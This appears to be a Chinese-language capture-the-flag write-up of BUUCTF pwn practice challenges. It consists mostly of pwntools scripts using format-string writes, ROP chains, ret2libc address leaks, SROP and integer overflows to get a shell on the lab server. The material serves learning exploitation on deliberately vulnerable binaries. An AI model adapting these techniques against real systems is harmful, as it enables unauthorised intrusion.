猛猛刷题第一页,但是前面几道题很久之前做的了懒得找了,所以不写了。题目比较简单,所以不写过程了,个别除外。

[第五空间2019 决赛]PWN5

1
2
3
4
5
6
7
8
9
10
from pwn import *
context(arch='i386', os='linux', log_level='debug')
# r = process('./pwn')
r = remote('node5.buuoj.cn', 29513)

payload = fmtstr_payload(10, {0x804C044: 0})
r.sendlineafter(b'your name:', payload)

r.sendline(b'0')
r.interactive()

jarvisoj_level2

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
context(arch='i386', os='linux', log_level='debug')

# r = process('./level2')
r = remote('node5.buuoj.cn', 25087)

sysplt_addr = 0x8048320
binsh_addr = 0x804A024
payload = b'a'*0x88+b'dead'+p32(sysplt_addr)+p32(binsh_addr)*3
r.sendline(payload)
r.recv()
r.sendline(b'cat flag')
r.interactive()

jarvisoj_level2_x64

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
# r = process('./level2_x64')
r = remote('node5.buuoj.cn', 27403)

binsh = 0x600A90
system = 0x4004C0
pop_rdi = 0x4006b3
ret = 0x4004a1

r.recvuntil(b'Input:')
r.sendline(b'a'*0x88+p64(pop_rdi)+p64(binsh)+p64(ret)+p64(system))
r.interactive()

jarvisoj_level3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
from LibcSearcher import *
r = remote('node5.buuoj.cn', 27974)
# r = process('./level3')
context(arch='i386', os='linux', log_level='debug')
e = ELF('./level3')

payload = b'a'*(0x88+4)+p32(e.plt['write'])+p32(
e.sym['vulnerable_function'])+p32(1)+p32(e.got['write'])+p32(4)

r.recvuntil(b'Input:\n')
r.sendline(payload)

write_addr = u32(r.recv(4))
log.success('write_addr: '+hex(write_addr))
libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
system_addr = libc_base + libc.dump('system')
bin_sh_addr = libc_base + libc.dump('str_bin_sh')

payload = b'a'*(0x88+4)+p32(system_addr)+p32(0xdeadbeef)+p32(bin_sh_addr)
r.recvuntil(b'Input:\n')
r.sendline(payload)

r.interactive()

jarvisoj_tell_me_something

这题有个神奇的地方,查看汇编会发现他是没有布置rbp的,直接就是返回地址了。往往简单的程序会有这种现象,具体原因未知。goodgame函数可以直接读出flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
from LibcSearcher import *
r = remote('node5.buuoj.cn', 26823)
# r = process('./guestbook')
context(arch='amd64', os='linux', log_level='debug')
e = ELF('./guestbook')

good_game = 0x400620
payload = b'a'*0x88 + p64(good_game) # 没有rbp
r.recvuntil(b'message:\n')
r.sendline(payload)

r.interactive()

jarvisoj_fm

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
from LibcSearcher import *
r = remote('node5.buuoj.cn', 27306)
# r = process('./fm')
context(arch='i386', os='linux', log_level='debug')
e = ELF('./fm')

target = 0x804A02C
payload = b'%4c%13$n'+p32(target)
# gdb.attach(r, 'b* 0x80485AD')
# pause()
r.sendline(payload)

r.interactive()

ciscn_2019_c_1

p64的时候会有多余的\x00截断length函数,所以实际上真正的payload不用担心被加密。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *
from LibcSearcher import LibcSearcher
context(arch='amd64', os='linux', log_level='debug')
# r = process('./ciscn_2019_c_1')
e = ELF('./ciscn_2019_c_1')
r = remote('node5.buuoj.cn', 25628)


# def enc(message):
# ans = ''
# for k in message:
# k = ord(k)
# if (k <= 96 or k > 122):
# if (k <= 64 or k > 90):
# if (k > 47 and k <= 57):
# k ^= 0xf
# else:
# k ^= 0xe
# else:
# k ^= 0xd
# ans += chr(k)


puts_got = 0x602020
puts_plt = 0x6020C0
rdi_ret = 0x400C83
ret = 0x4006b9
start_addr = 0x400790

payload = b'a'*(0x50+8)+p64(rdi_ret)+p64(e.got['puts']) + \
p64(e.plt['puts'])+p64(start_addr)
r.recvuntil(b'Input your choice!')
r.sendline(b'1')
r.recvuntil(b'be encrypted')
r.sendline(payload)

libc_puts = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
print(hex(libc_puts))
libc = LibcSearcher('puts', libc_puts)
libc_base = libc_puts-libc.dump('puts')
system_addr = libc_base+libc.dump('system')
binsh_addr = libc_base+libc.dump('str_bin_sh')
print(hex(binsh_addr))

payload = b'a'*(0x50+8)+p64(ret)+p64(rdi_ret)+p64(binsh_addr) + \
p64(system_addr)
r.recvuntil(b'Input your choice!')
r.sendline(b'1')
r.recvuntil(b'be encrypted')
r.sendline(payload)
r.interactive()

ciscn_2019_en_2

没看出来这题和上一道题有什么不同,可能两题做的隔的时间太长了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
from LibcSearcher import *
r = remote('node5.buuoj.cn', 27205)
# r = process('./ciscn_2019_en_2')
context(arch='amd64', os='linux', log_level='debug')
e = ELF('./ciscn_2019_en_2')


rdi = 0x400c83
ret = 0x4006b9
payload = b'a'*0x58 + \
p64(rdi)+p64(e.got['puts'])+p64(e.plt['puts']) + \
p64(e.symbols['encrypt']) # p64中的\x00可以截断加密长度
# payload = enc(payload)
r.recvuntil(b'Input your choice!')
r.sendline(b'1')
r.recvuntil(b'to be encrypted')
r.sendline(payload)

libc_puts = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
log.success(hex(libc_puts))
# 2.27_2
libc_base = libc_puts-0x809c0
system = libc_base+0x4f440
binsh = libc_base+0x1b3e9a
# libc = LibcSearcher('puts', libc_puts)
# system = libc.dump('system')
# binsh = libc.dump('str_bin_sh')

payload = b'a'*0x58 + p64(rdi)+p64(binsh)+p64(ret)+p64(system)
r.recvuntil(b'to be encrypted')
r.sendline(payload)
r.interactive()

ciscn_2019_n_5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
from LibcSearcher import *
r = remote('node5.buuoj.cn', 27747)
# r = process('./ciscn_2019_n_5')
context(arch='amd64', os='linux', log_level='debug')
e = ELF('./ciscn_2019_n_5')

rdi = 0x400713
ret = 0x4004c9

payload = b'a'*0x28 + \
p64(rdi)+p64(e.got['puts'])+p64(e.plt['puts'])+p64(e.sym['main'])
r.recvuntil(b'tell me your name')
r.sendline(b'a')
r.recvuntil(b'say to me?')
r.sendline(payload)
libc_puts = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
log.success('libc_puts: '+hex(libc_puts))

# libc = LibcSearcher('puts', libc_puts)
# system = libc.dump('system')
# binsh = libc.dump('str_bin_sh')

# 2.27_2
libc_base = libc_puts-0x809c0
system = libc_base+0x4f440
binsh = libc_base+0x1b3e9a
# log.success(hex(libc))
payload = b'a'*0x28 + p64(rdi)+p64(binsh)+p64(ret)+p64(system)
r.recvuntil(b'tell me your name')
r.sendline(b'a')
r.recvuntil(b'say to me?')
r.sendline(payload)
r.interactive()

ciscn_2019_n_8

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
context(arch='i386', os='linux', log_level='debug')

# r = process('./ciscn_2019_n_8')
r = remote('node5.buuoj.cn', 27416)

payload = b'\x11'*(4*13+1) # var变量是四字节类型的数据
r.sendline(payload)

r.recv()
r.sendline(b'cat flag')
r.interactive()

ciscn_2019_ne_5

这题做的时候被LibcSearcher搞红温了,后来发现程序里有sh字符……

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
from LibcSearcher import *
r = remote('node5.buuoj.cn', 25918)
# r = process('./ciscn_2019_ne_5')
context(arch='i386', os='linux', log_level='debug')
e = ELF('./ciscn_2019_ne_5')
system = e.plt['system']
binsh = 0x80482ea

payload = b'a'*(0x48+4)+p32(system) + \
b'aaaa'+p32(binsh) # 中间的junk不要放奇奇怪怪的东西,不然脚本会有奇奇怪怪的问题
r.recvuntil(b'password:')
r.sendline(b'administrator')
r.recvuntil(b':')
r.sendline(b'1')
r.recvuntil(b'log info:')
r.sendline(payload)
r.recvuntil(b':')
r.sendline(b'4')

r.interactive()

ciscn_2019_s_3

这题给了一些inc的gadget,但是如果要用那些gadget来直接执行execve的话,脚本的运行时间和数据传输量相当可怕……如果要用mov rax , 3Bh的gadget来ret2syscall的话,没法直接控制rdx清零。但是可以通过控制edx来清零。这里还是乖乖srop吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
r = remote('node5.buuoj.cn', 28969)
# r = process('./ciscn_s_3')
elf = ELF('./ciscn_s_3')
context(arch='amd64', os='linux', log_level='debug')

sigreturn_addr = 0x4004DA
rax_exec = 0x4004E2
syscall_ret = 0x400517
vuln = elf.sym['vuln']

r.sendline(b'/bin/sh\x00' * 2 + p64(0x4004F1))
r.recv(0x20)
stack_addr = u64(r.recv(8))

binsh_addr = stack_addr - 0x118
log.success(hex(stack_addr))

execve = SigreturnFrame()
execve.rax = 59
execve.rdi = binsh_addr
execve.rsi = 0
execve.rdx = 0
execve.rsp = 0
execve.rip = syscall_ret

payload = b'/bin/sh\x00' * 2 + \
p64(sigreturn_addr) + p64(syscall_ret) + bytes(execve)
r.sendline(payload)

r.interactive()

[HarekazeCTF2019]baby_rop

flag捉迷藏靶机

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
# r = process('./babyrop')
r = remote('node5.buuoj.cn', 28707)

binsh = 0x601048
system = 0x400490
pop_rdi = 0x400683
ret = 0x400479

r.recvuntil(b' name?')
r.sendline(b'a'*0x18+p64(pop_rdi)+p64(binsh)+p64(ret)+p64(system))
r.interactive()
# 找不到flag?grep -r 'flag{'是个好东西

[HarekazeCTF2019]baby_rop2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
from LibcSearcher import *
r = remote('node5.buuoj.cn', 29937)
# r = process('./babyrop2')
context(arch='amd64', os='linux', log_level='debug')
e = ELF('./babyrop2')

rdi = 0x400733
ret = 0x4004d1
payload = b'a'*0x28+p64(rdi)+p64(e.got['read']) + \
p64(ret)+p64(e.plt['printf'])+p64(ret) + \
p64(e.sym['main']) # 远程printf地址打印不出来,原因未知,所以这里打印了read的地址
r.recvuntil(b'name? ')
r.sendline(payload)

read_addr = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
log.success(hex(read_addr))
libc_base = read_addr - 0xf7250
system = libc_base + 0x45390
binsh = libc_base + 0x18cd57

payload = b'a'*0x28+p64(rdi)+p64(binsh)+p64(ret)+p64(system)
r.recvuntil(b'name? ')
r.sendline(payload)
r.interactive()

[OGeek2019]babyrop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
from LibcSearcher import *
# r = process('./pwn')
e = ELF('./pwn')
r = remote('node5.buuoj.cn', 28165)

payload = b'\x00'+b'\xff'*7
r.sendline(payload)
r.recvuntil(b"Correct\n")

write_plt = e.plt["write"]
write_got = e.got["write"]
main_addr = 0x08048825
payload1 = b'a'*0xe7+b'a'*4+p32(write_plt) + \
p32(main_addr)+p32(1)+p32(write_got)+p32(4)
r.sendline(payload1)
write_addr = u32(r.recv(4))
print(hex(write_addr))

libc = LibcSearcher("write", write_addr)
libc_base = write_addr - libc.dump("write")
system_addr = libc_base+libc.dump("system")
bin_sh_addr = libc_base+libc.dump("str_bin_sh")

r.sendline(payload)
r.recvuntil(b"Correct\n")
payload2 = b'a'*0xe7+b'a'*4+p32(system_addr)+p32(0)+p32(bin_sh_addr)
r.sendline(payload2)
r.interactive()

铁人三项(第五赛区)_2018_rop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
from LibcSearcher import *
r = remote('node5.buuoj.cn', 25755)
# r = process('./2018_rop')
context(arch='i386', os='linux', log_level='debug')
e = ELF('./2018_rop')

payload = b'a'*(0x88+4)+p32(e.plt['write']) + \
p32(e.sym['vulnerable_function'])+p32(1)+p32(e.got['write'])+p32(4)

r.sendline(payload)
# r.recv(16)
write_addr = u32(r.recv(4))
print('write_addr:', hex(write_addr))

payload = b'a'*(0x88+4)+p32(e.plt['write']) + \
p32(e.sym['vulnerable_function'])+p32(1)+p32(e.got['read'])+p32(4)
r.sendline(payload)
read_addr = u32(r.recv(4))
print('read_addr:', hex(read_addr))

# 2.27_1
libc_base = write_addr-0xe56f0
system = libc_base+0x3cd10
binsh = libc_base+0x17b8cf
payload = b'a'*(0x88+4)+p32(system)+p32(0)+p32(binsh)
r.sendline(payload)
r.interactive()

bjdctf_2020_babyrop

泄露两次地址是为了确定libc版本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
from LibcSearcher import *
r = remote('node5.buuoj.cn', 26876)
# r = process('./bjdctf_2020_babystack2')
context(arch='amd64', os='linux', log_level='debug')
e = ELF('./bjdctf_2020_babyrop')

rdi = 0x400733
ret = 0x4004c9

payload = b'a'*0x28 + \
p64(rdi)+p64(e.got['puts'])+p64(e.plt['puts'])+p64(e.sym['main'])
r.recvuntil(b'story!')
r.sendline(payload)
libc_puts = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
log.success('libc_puts: '+hex(libc_puts))

payload = b'a'*0x28 + \
p64(rdi)+p64(e.got['read'])+p64(e.plt['puts'])+p64(e.sym['main'])
r.recvuntil(b'story!')
r.sendline(payload)
libc_read = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
log.success('libc_read: '+hex(libc_read))

# 2.23_11
libc_base = libc_puts-0x6f690
system = libc_base+0x45390
binsh = libc_base+0x18cd57
payload = b'a'*0x28 + p64(rdi)+p64(binsh)+p64(ret)+p64(system)
r.recvuntil(b'story!')
r.sendline(payload)
r.interactive()

bjdctf_2020_babystack

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
# r = process('./bjdctf_2020_babystack')
r = remote('node5.buuoj.cn', 28581)

ret = 0x400561
backdoor = 0x4006E6
r.recvuntil(b'name:')
r.sendline(b'256')
r.recvuntil(b'u name?')
r.sendline(p64(1)*3+p64(ret)+p64(backdoor))
r.interactive()

bjdctf_2020_babystack2

整数溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
from LibcSearcher import *
r = remote('node5.buuoj.cn', 27500)
# r = process('./bjdctf_2020_babystack2')
context(arch='amd64', os='linux', log_level='debug')
e = ELF('./bjdctf_2020_babystack2')

backdoor = 0x400726
ret = 0x400599
payload = b'a'*0x18+p64(ret)+p64(backdoor)
r.recvuntil(b'your name:')
r.sendline(b'-1')
r.recvuntil(b'name?')
r.sendline(payload)

r.interactive()

ez_pz_hackover_2016

这题有几个需要注意的地方。一个是fgets函数遇到回车会截断,但是遇到\x00不会截断,但是\x00可以用来截断memcmp。另一个是要注意memcpy的参数,被复制的起始点是s的指针,而非s本身,所以要动调查看实际需要多少垃圾数据,具体是&s = s-0x1C。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
from LibcSearcher import *
r = remote('node5.buuoj.cn', 25408)
# r = process('./ez_pz_hackover_2016')
context(arch='i386', os='linux', log_level='debug')
e = ELF('./ez_pz_hackover_2016')

payload = b'crashme\x00' # fgets遇到回车会截断,但是\x00不会
payload = payload.ljust(0x36-0x1C, b'a')
payload += p32(e.plt['printf'])+p32(e.symbols['main'])+p32(e.got['printf'])

r.recvuntil(b'> ')
# gdb.attach(r, 'b* 0x80486D7')
# pause()
r.sendline(payload) # 注意memcpy的起始点是&s,而非s本身,所以需要动调看偏移
r.recvuntil(b'crashme!\n')
printf_addr = u32(r.recv(4))
libc = LibcSearcher('printf', printf_addr)
libc_base = printf_addr-libc.dump('printf')
system = libc_base+libc.dump('system')
binsh = libc_base+libc.dump('str_bin_sh')

payload = b'crashme\x00'
payload = payload.ljust(0x36-0x1C, b'a')
payload += p32(system)+p32(0)+p32(binsh)
r.recvuntil(b'> ')
r.sendline(payload)
r.interactive()

get_started_3dsctf_2016

看注释

1
2
3
4
5
6
7
8
9
10
from pwn import *
r = process('./get_started_3dsctf_2016') # 32位
# r = remote('node5.buuoj.cn', 27438)

get_flag = 0x80489A0
exit = 0x0804E6A0 # getflag后必须返回到exit,不然输出会待在缓冲区里不出来
# 还有一个鬼畜的地方是,他压根就没push ebp,也就是说没有ebp,不用在b'a'那+4,直接就是返回地址
payload = b'a'*0x38+p32(get_flag)+p32(exit) + p32(0x308CD64F)+p32(0x195719D1)
r.sendline(payload)
r.interactive()

not_the_same_3dsctf_2016

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
from LibcSearcher import *
r = remote('node5.buuoj.cn', 29720)
# r = process('./not_the_same_3dsctf_2016')
context(arch='i386', os='linux', log_level='debug')
e = ELF('./not_the_same_3dsctf_2016') # 没有ebp

flag_str = 0x80BC2A8
flag_store = 0x80ECA2D
write = e.sym['write']

secret = 0x80489A0

payload = b'a'*0x2d+p32(secret)+p32(write)+b'dead' + \
p32(1)+p32(flag_store)+p32(0x100)

# r.recvuntil(b'm3m0...') 不知道为什么脚本接收不到,实际上会打印出来的
r.sendline(payload)
r.interactive()

others_shellcode

nc即可

picoctf_2018_rop chain

这题可以用来熟悉32位传参规则及其rop链的传参。现在接触的32位少了,做的时候还调试了一会才做出来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
from LibcSearcher import *
r = remote('node5.buuoj.cn', 27584)
# r = process('./PicoCTF_2018_rop_chain')
context(arch='i386', os='linux', log_level='debug')
e = ELF('./PicoCTF_2018_rop_chain')

payload = b'a'*(0x18+4)
payload += p32(e.sym['win_function1']) + \
p32(e.sym['win_function2'])+p32(e.sym['flag'])
payload += p32(0xBAAAAAAD)+p32(0xDEADBAAD)

r.recvuntil(b'input> ')
r.sendline(payload)

r.interactive()

pwn2_sctf_2016

整数溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
from LibcSearcher import *
r = remote('node5.buuoj.cn', 28838)
# r = process('./pwn2_sctf_2016')
context(arch='i386', os='linux', log_level='debug')
e = ELF('./pwn2_sctf_2016')

payload = b'a'*0x30+p32(e.plt['printf']) + \
p32(e.symbols['vuln'])+p32(e.got['printf'])

r.recvuntil(b'read? ')
r.sendline(b'-1')
r.recvuntil(b'data!\n')
r.sendline(payload)
r.recvuntil(p32(e.got['printf'])+b'\n')
printf = u32(r.recv(4))
log.info('printf: '+hex(printf))

# 9: ubuntu-xenial-amd64-libc6-i386 (id libc6-i386_2.23-0ubuntu10_amd64)
libc = LibcSearcher('printf', printf)
libc_base = printf - libc.dump('printf')
system = libc_base + libc.dump('system')
binsh = libc_base + libc.dump('str_bin_sh')
payload = b'a'*0x30+p32(system)+p32(binsh)+p32(binsh)

r.recvuntil(b'read? ')
r.sendline(b'-1')
r.recvuntil(b'data!\n')
r.sendline(payload)
r.interactive()
⬆︎TOP